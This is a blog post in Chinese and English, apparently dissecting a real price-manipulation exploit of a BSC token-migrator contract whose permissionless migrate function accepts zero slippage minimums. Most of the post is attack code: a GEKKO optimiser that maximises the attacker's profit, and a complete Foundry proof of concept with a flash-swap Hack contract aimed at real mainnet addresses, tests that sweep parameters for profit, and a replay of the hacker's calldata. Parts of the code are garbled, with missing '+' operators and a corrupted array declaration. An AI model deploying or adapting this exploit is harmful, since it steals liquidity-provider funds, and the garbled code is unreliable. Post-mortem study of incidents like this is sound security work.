本文作者:bixia1994[1]
Ref
https://bscscan.com/address/0x1befe6f3f0e8edd2d4d15cae97baee01e51ea4a4#code https://versatile.blocksecteam.com/tx/bsc/0xa5b0246f2f8d238bb56c0ddb500b04bbe0c30db650e06a41e00b6a0fff11a7e5 https://twitter.com/BlockSecTeam/status/1512832398643265537
analysis
the interesting point is in the migrate function: it is permissonless, and the minimal is 0. just like Router.swapTokensForExactTokens,when the minimal received tokens sets to 0, means we can use sandwitch attack to trigger it. let me check, how to make use of it?
pool1: v1Address WBNB pool2: v2Address WBNB pool3: WBNB BUSD 0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16
addLiquidityETH actually only addliquidity for the actual price, named get the quote price:uint amountBOptimal = PancakeLibrary.quote(amountADesired, reserveA, reserveB);
when it is unbalance, it will return it back. for the token, it only transferFrom the amount needed, for the ETH part, it will refund the extra.
ETH 多, token 少,多的 ETH 会退还给我。可以通过 swap[2] 来拉开价格,造成 ETH 多,token 少的情况。migrate 认为:固定互换 tokenA: tokenB = 1: 1
add: tokenA 1, WETH 100 tokenA: WETH = 1: 100 lp1=> 1,100 tokenB: WETH = 1: 1 lp2=> 1,1 return WETH 99
pool3.swap: WBNB.transfer(300,000 ether) pool1.swap(BNB,tokenA) => pull up price pool1.addLiquidityETH(100) => add liquidity migrate(pool1.lp) => WETH.transfer(unused weth) pool2.removeLiquidityETH(pool2.lp) pool2.swap(tokenB,WETH)
代码语言:javascript复制repay flashloan
利润点来自于哪?
add: tokenA 100, WETH 1 tokenA: WETH = 100: 1 lp1=> 100, 1 tokenB: WETH = 1 : 1 lp2=> 100, 1 => 1:1 亏损!
代码语言:javascript复制function migrate(uint256 _lpTokens) public nonReentrant {
require(_lpTokens > 0, "zero LP tokens sended");
require(IERC20(lpAddress).transferFrom(_msgSender(), address(this), _lpTokens), "transfer failed");
(uint256 amountTokenRecived,
uint256 amountEthRecived) = Router.removeLiquidityETH(
v1Address,
_lpTokens,
0,
0,
address(this),
block.timestamp);
(uint256 amountTokenStaked,
uint256 amountEthStaked,
uint256 LpStaked) = Router.addLiquidityETH{value:amountEthRecived}(
v2Address,
amountTokenRecived,
0,
0,
_msgSender(),
block.timestamp);
uint256 diffEth = amountEthRecived - amountEthStaked;
if (diffEth > 0) {
payable(_msgSender()).transfer(diffEth);
}
emit migration(_lpTokens, LpStaked);
}
当前的各池子中 token 的数量:r0:WBNB, r1:token lp1: r0: 48224671390454476706 lp1: r1: 7139690912895574196500916 totalSupply: 17394738131426634503255 lp2: r0: 11387586657604004961399 lp2: r1: 7677163643402146827976102 totalSupply: 294523598916735041728760 v1Token: balance: 7882399482106057873876655 v2Token: balance: 1450998605164940945782286
因为 migrate 的思路是把 v1Token 按照 1:1 的方式换成 v2Token,故能够换成 v2Token 的最大值就是 1450998605164940945782286, 那么我 V1Token 通过 removeLiquidity 的方式需要取出来的数量就是 1450998605164940945782286, 假设我贷款 X 个 WBNB,将其分成两份,y1 用作第一步 swap 出 v1Token,y2 用作第二步和 swap 出的 v1Token 组成 LP
the real probelm is how to find the maximum result
Calculator
代码语言:javascript复制# %%
from gekko import GEKKO
m = GEKKO()
# %%
lp1_r0_init = m.Param(value=48224671390454476706/10**18)
lp1_r0_init
# %%
lp1_r1_init = m.Param(value=7139690912895574196500916/10**18)
lp1_r1_init
# %%
lp1_totalSupply_init = m.Param(value=17394738131426634503255/10**18)
lp1_totalSupply_init
# %%
lp2_r0_init = m.Param(value=11387586657604004961399/10**18)
lp2_r0_init
# %%
lp2_r1_init = m.Param(value=7677163643402146827976102/10**18)
lp2_r1_init
# %%
lp2_totalSupply_init = m.Param(value=294523598916735041728760/10**18)
lp2_totalSupply_init
# %%
migrator_v1Token = m.Param(value=7882399482106057873876655/10**18)
migrator_v1Token
# %%
migrator_v2Token = m.Param(value=1450998605164940945782286/10**18)
migrator_v2Token
# %%
BNB_CAP = m.Param(value=440304078411902800794002/10**18)
BNB_CAP
# %%
dump = m.Var(lb=0, value=200000)
lqty = m.Var(lb=0, value=200000)
dump, lqty
# %%
# step1: dump BNB to BNB/v1Address pool
lp1_r0_dump = lp1_r0_init dump
lp1_r1_dump = (lp1_r0_init * lp1_r1_init) / lp1_r0_dump
v1ReceivedAfterDump = lp1_r1_init - lp1_r1_dump
v1ReceivedAfterDump
# %%
# keep the price steal, not move the price. so just scale is ok
lp1_r1_lqty = lp1_r1_dump v1ReceivedAfterDump
lp1_r0_lqty = lp1_r0_dump * lp1_r1_lqty / lp1_r1_dump
lp1_lqty = v1ReceivedAfterDump / lp1_r1_dump * lp1_totalSupply_init
lp1_totalSupply_lqty = lp1_totalSupply_init lp1_lqty
# %%
lqty = lp1_r0_lqty - lp1_r0_dump
m.Equation(dump lqty <= BNB_CAP)
# %%
# step3: migrate liquidity:: calculate the receive amount
migrator_r0_burn = lp1_lqty / lp1_totalSupply_lqty * lp1_r0_lqty
migrator_r1_burn = lp1_lqty / lp1_totalSupply_lqty * lp1_r1_lqty
lp1_totalSupply_burn = lp1_totalSupply_lqty - lp1_lqty
# %%
m.Equation(migrator_r1_burn <= migrator_v2Token)
# %%
# step4: migrate liquidity:: add liquidity to lp2, as the price not move, just scale is ok
quoteETH = lp2_r0_init / lp2_r1_init * migrator_r1_burn
m.Equation(quoteETH <= migrator_r0_burn)
ETHleft = migrator_r0_burn - quoteETH
lp2_r0_lqty = lp2_r0_init quoteETH
lp2_r1_lqty = lp2_r1_init migrator_r1_burn
lp2_lqty = quoteETH / lp2_r0_init * lp2_totalSupply_init
lp2_totalSupply_lqty = lp2_totalSupply_init lp2_lqty
# %%
# # step4: token more, eth less
# quoteToken = lp2_r1_init / lp2_r0_init * migrator_r0_burn
# m.Equation(quoteToken <= migrator_r1_burn)
# ETHleft = 0
# lp2_r0_lqty = lp2_r0_init migrator_r0_burn
# lp2_r1_lqty = lp2_r1_init quoteToken
# lp2_lqty = quoteToken / lp2_r1_init * lp2_totalSupply_init
# lp2_totalSupply_lqty = lp2_totalSupply_init lp2_lqty
# %%
# step5: remove liquidity from lp2
lp2_totalSupply_burn = lp2_totalSupply_lqty - lp2_lqty
lp2_r0_burn = lp2_lqty * lp2_r0_lqty / lp2_totalSupply_lqty
lp2_r1_burn = lp2_lqty * lp2_r1_lqty / lp2_totalSupply_lqty
v2Received = lp2_r1_lqty - lp2_r1_burn
ETHReceived = lp2_r0_lqty - lp2_r0_burn
# %%
# step6: dump v2 to v2/BNB pool
lp2_r1_dump = lp2_r1_burn v2Received
lp2_r0_dump = lp2_r0_burn * lp2_r1_burn / lp2_r1_dump
ETHSwappedOut = lp2_r0_burn - lp2_r0_dump
# %%
ETHtotal = ETHleft ETHReceived ETHSwappedOut
# %%
profit = ETHtotal - dump - lqty
# %%
m.Maximize(profit)
# %%
m.options.IMODE = 3
m.solve()
# %%
m.options.OBJFCNVAL
# %%
dump.VALUE
# %%
lqty.VALUE
POC
代码语言:javascript复制pragma solidity 0.8.12;
import "ds-test/test.sol";
import "forge-std/stdlib.sol";
import "forge-std/Vm.sol";
//forge test --match-contract MigrateHack --fork-url $BSC_RPC_URL --fork-block-number 16798806 -vvvv
contract MigrateData is DSTest, stdCheats {
Vm public vm = Vm(HEVM_ADDRESS);
address public v1Address = 0xE98D920370d87617eb11476B41BF4BE4C556F3f8;
address public v2Address = 0x3a0d9d7764FAE860A659eb96A500F1323b411e68;
address public lpAddress = 0x8dC058bA568f7D992c60DE3427e7d6FC014491dB;
address public lpAddress2 = 0x627F27705c8C283194ee9A85709f7BD9E38A1663;
address public router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
address public lp2 = 0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16;
address public migrator = 0x1BEfe6f3f0E8edd2D4D15Cae97BAEe01E51ea4A4;
address public WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address public hacker = 0x74298086C94dAb3252C5DAC979C9755c2EB08e49;
address public hackerContract = 0x4e284686FBCC0F2900F638B04C4D4b433C40a345;
}
interface PairLike {
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function token0() external view returns (address);
function totalSupply() external view returns (uint256);
function getReserves()
external
view
returns (
uint256,
uint256,
uint256
);
function balanceOf(address owner) external view returns (uint256);
}
interface RouterLike {
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface MigratorLike {
function migrate(uint256 _lpTokens) external;
}
interface ERC20Like {
function transfer(address to, uint256 value) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function depoist() external payable;
function withdraw(uint256) external;
}
contract Hack is MigrateData {
uint256 public a = 1;
uint256 public b = 1;
constructor() {
ERC20Like(WBNB).approve(router, type(uint256).max);
ERC20Like(v1Address).approve(router, type(uint256).max);
ERC20Like(v2Address).approve(router, type(uint256).max);
ERC20Like(lpAddress2).approve(router, type(uint256).max);
ERC20Like(lpAddress).approve(migrator, type(uint256).max);
}
///flashswap BNB from lp2
function start(uint256 _a, uint256 _b) public returns (uint256 profit) {
a = _a;
b = _b;
uint256 amountBNB = ERC20Like(WBNB).balanceOf(lp2) / a - 1;
(uint256 amount0Out, uint256 amount1Out) = PairLike(lp2).token0() ==
WBNB
? (amountBNB, uint256(0))
: (uint256(0), amountBNB);
PairLike(lp2).swap(amount0Out, amount1Out, address(this), hex"4060");
res();
profit = ERC20Like(WBNB).balanceOf(address(this));
}
///do the heavy lifting
function pancakeCall(
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external {
///swap WBNB for v1
///addliqiudity WBNB and v1 to pair1
///migrate lp token
///remove liquidity WBNB and v1 from pair2
///swap v2 for WBNB
///repay flashloan
uint256 balanceBefore = ERC20Like(WBNB).balanceOf(address(this));
address[] memory path = new address[](2 "] memory path = new address[");
path[0] = WBNB;
path[1] = v1Address;
RouterLike(router).swapExactTokensForTokens(
balanceBefore / b,
0,
path,
address(this),
type(uint256).max
);
(, , uint256 liquidity) = RouterLike(router).addLiquidity(
WBNB,
v1Address,
ERC20Like(WBNB).balanceOf(address(this)),
ERC20Like(v1Address).balanceOf(address(this)),
0,
0,
address(this),
type(uint256).max
);
MigratorLike(migrator).migrate(liquidity);
///balance after v1Token
path[0] = v1Address;
path[1] = WBNB;
RouterLike(router).swapExactTokensForTokens(
ERC20Like(v1Address).balanceOf(address(this)),
0,
path,
address(this),
type(uint256).max
);
uint256 liquidity2 = PairLike(lpAddress2).balanceOf(address(this));
RouterLike(router).removeLiquidityETH(
v2Address,
liquidity2,
0,
0,
address(this),
type(uint256).max
);
address[] memory path2 = new address[](2 "] memory path2 = new address[");
path2[0] = v2Address;
path2[1] = WBNB;
RouterLike(router)
.swapExactTokensForTokensSupportingFeeOnTransferTokens(
ERC20Like(v2Address).balanceOf(address(this)),
0,
path2,
address(this),
type(uint256).max
);
ERC20Like(WBNB).depoist{value: address(this).balance}();
// assertEq(ERC20Like(WBNB).balanceOf(address(this)), balanceBefore);
require(
ERC20Like(WBNB).balanceOf(address(this)) >=
(balanceBefore * 100251) / 100000,
"not enough"
);
ERC20Like(WBNB).transfer(lp2, (balanceBefore * 100251) / 100000);
}
function res() public {
emit log_named_uint(
"WBNB balance",
ERC20Like(WBNB).balanceOf(address(this))
);
}
receive() external payable {}
}
contract MigrateHack is MigrateData {
Hack public hack;
function setUp() public {
hack = new Hack();
vm.label(lpAddress, "lp1");
vm.label(v1Address, "v1Token");
vm.label(v2Address, "v2Token");
vm.label(router, "router");
vm.label(lp2, "BNBLp");
vm.label(migrator, "migrator");
vm.label(address(hack), "hack");
vm.label(lpAddress2, "lp2");
vm.label(WBNB, "WBNB");
vm.label(hacker, "hacker");
vm.label(hackerContract, "hackerContract");
}
//1311.985186973893 profit!!! salute the hacker!!
function _test_Reply() public {
vm.startPrank(hacker);
address(hackerContract).call(
hex"35cd4a210000000000000000000000000000000000000000000000821ab0d4414980000000000000000000000000000000000000000000000000002086ac35105260000000000000000000000000000000000000000000000001287626ee52197b000000"
);
uint256 profit1 = ERC20Like(WBNB).balanceOf(hacker);
uint256 profit2 = ERC20Like(WBNB).balanceOf(address(hackerContract));
emit log_named_uint("profit1", profit1);
emit log_named_uint("profit2", profit2);
}
function test_Params() public {
///getReserves
(uint256 r0, uint256 r1, ) = PairLike(lpAddress).getReserves();
(r0, r1) = PairLike(lpAddress).token0() == WBNB ? (r0, r1) : (r1, r0);
emit log_named_uint("lp1: r0", r0); //48224671390454476706
emit log_named_uint("lp1: r1", r1); //7139690912895574196500916
emit log_named_uint("totalSupply", PairLike(lpAddress).totalSupply());
(r0, r1, ) = PairLike(lpAddress2).getReserves();
(r0, r1) = PairLike(lpAddress2).token0() == WBNB ? (r0, r1) : (r1, r0);
emit log_named_uint("lp2: r0", r0); //11387586657604004961399
emit log_named_uint("lp2: r1", r1); //7677163643402146827976102
emit log_named_uint("totalSupply", PairLike(lpAddress2).totalSupply());
uint256 v1AddressBalance = ERC20Like(v1Address).balanceOf(migrator); //7882399482106057873876655
emit log_named_uint("v1Token: balance", v1AddressBalance);
uint256 v2AddressBalance = ERC20Like(v2Address).balanceOf(migrator); //1450998605164940945782286
emit log_named_uint("v2Token: balance", v2AddressBalance);
emit log_named_uint("BNB CAP", ERC20Like(WBNB).balanceOf(lp2));
}
function _test_Start() public {
hack.start(1, 40);
}
function test_start_1_40() public {
uint256 profit = hack.start(1, 40);
emit log_named_uint("profit", profit);
}
function test_start_2_40() public {
uint256 profit = hack.start(2, 40);
emit log_named_uint("profit", profit);
}
function test_start_3_40() public {
uint256 profit = hack.start(3, 40);
emit log_named_uint("profit", profit);
}
function test_start_4_40() public {
uint256 profit = hack.start(4, 40);
emit log_named_uint("profit", profit);
}
function test_start_1_30() public {
uint256 profit = hack.start(1, 30);
emit log_named_uint("profit", profit);
}
function test_start_2_30() public {
uint256 profit = hack.start(2, 30);
emit log_named_uint("profit", profit);
}
function test_start_3_30() public {
uint256 profit = hack.start(3, 30);
emit log_named_uint("profit", profit);
}
function test_start_4_30() public {
uint256 profit = hack.start(4, 30);
emit log_named_uint("profit", profit);
}
function test_start_1_20() public {
uint256 profit = hack.start(1, 20);
emit log_named_uint("profit", profit);
}
function test_start_2_20() public {
uint256 profit = hack.start(2, 20);
emit log_named_uint("profit", profit);
}
function test_start_3_20() public {
uint256 profit = hack.start(3, 20);
emit log_named_uint("profit", profit);
}
///seems this one is the best? 1085.452240887216 ether
function test_start_4_20() public {
uint256 profit = hack.start(4, 20);
emit log_named_uint("profit", profit);
}
function test_start_1_10() public {
uint256 profit = hack.start(1, 10);
emit log_named_uint("profit", profit);
}
function test_start_2_10() public {
uint256 profit = hack.start(2, 10);
emit log_named_uint("profit", profit);
}
function test_start_3_10() public {
uint256 profit = hack.start(3, 10);
emit log_named_uint("profit", profit);
}
function test_start_4_10() public {
uint256 profit = hack.start(4, 10);
emit log_named_uint("profit", profit);
}
// function test_iterate() public {
// for (uint i = 1; i < 5; i ) {
// for (uint j = 40; j >= 0; j -= 10) {
// (bool success, bytes memory data) = address(hack).call(
// abi.encodeWithSignature(
// "start(uint256,uint256)",
// i,j
// )
// );
// uint256 profit = abi.decode(data, (uint256));
// if (!success) profit = 0;
// emit log_named_uint("i:", i);
// emit log_named_uint("j:", j);
// emit log_named_uint("profit", profit);
// }
// }
// }
}
参考资料
[1]
bixia1994: https://learnblockchain.cn/people/3295
[2]
swap: https://learnblockchain.cn/article/3094